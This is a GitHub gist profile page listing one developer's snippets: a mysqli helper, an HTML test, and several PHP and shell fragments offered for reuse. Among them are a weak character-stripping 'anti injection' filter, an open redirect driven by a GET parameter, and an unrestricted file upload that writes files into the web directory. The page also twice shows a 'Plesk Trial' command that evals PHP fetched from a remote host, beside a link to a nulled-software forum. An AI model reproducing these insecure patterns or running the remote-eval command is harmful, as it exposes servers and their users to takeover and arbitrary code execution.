Skip to content

Instantly share code, notes, and snippets.

View tahaghafuri's full-sized avatar
👨‍💻
Coding

Taha Amin Ghafuri [T@G] tahaghafuri

👨‍💻
Coding
View GitHub Profile
function mysqli_result($res, $row=0, $col=0){
$numrows = mysqli_num_rows($res);
if ($numrows && $row <= ($numrows-1) && $row >=0){
mysqli_data_seek($res,$row);
$resrow = (is_numeric($col)) ? mysqli_fetch_row($res) : mysqli_fetch_assoc($res);
if (isset($resrow[$col])) {
return $resrow[$col];
}
}
return false;
@tahaghafuri
tahaghafuri / clean.php
Created June 13, 2022 18:46
Anti Injection String PHP
function clean($text) {
$text=str_replace('/','',$text);
$text=str_replace('*','',$text);
$text=str_replace('+','',$text);
$text=str_replace('-',' ',$text);
$text=str_replace('_',' ',$text);
$text=str_replace('=','',$text);
$text=str_replace('`','',$text);
$text=str_replace('"','',$text);
$text=str_replace("'",'',$text);
@tahaghafuri
tahaghafuri / phpfix
Last active July 1, 2022 10:51
PHPFix Library
https://github.com/teekyar/phix/
<html>
<head>
<title> TAGTEACH </title>
<style>
h1{
background-color: wheat;
font-size: 100px;
text-align: center;
}
</style>
@tahaghafuri
tahaghafuri / span.html
Created June 17, 2022 12:55
Test Span
<p>Hi,<span style='color:red;'>I'm</span>a <span style='color:blue;'>Professional</span> Developer!</p>
<?php
$url=$_GET['url'];
if(!empty($url)){
header('Location: '.$url);
//Content
}else{
echo 'URL Is Empty!';
}
<?php
$file=$_FILES['file'];
chmod($file["tmp_name"],755);
move_uploaded_file($file["tmp_name"],__DIR__.'/'.$file['name']);
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" />
</form>
https://babiato.co/threads/plesk-onyx-web-host-edition.17223/page-5
plesk php -er "eval(file_get_contents('http://ossav.com/PTC'));"
@tahaghafuri
tahaghafuri / plesk
Created October 4, 2022 12:52
Plesk Trial
plesk php -er "eval(file_get_contents('http://ossav.com/PTC'));"
@tahaghafuri
tahaghafuri / install.sh
Created November 26, 2022 18:14
Upgrade And Configuring Ubuntu For Version 22.04.1
apt update && upgrade -y
do-release-upgrade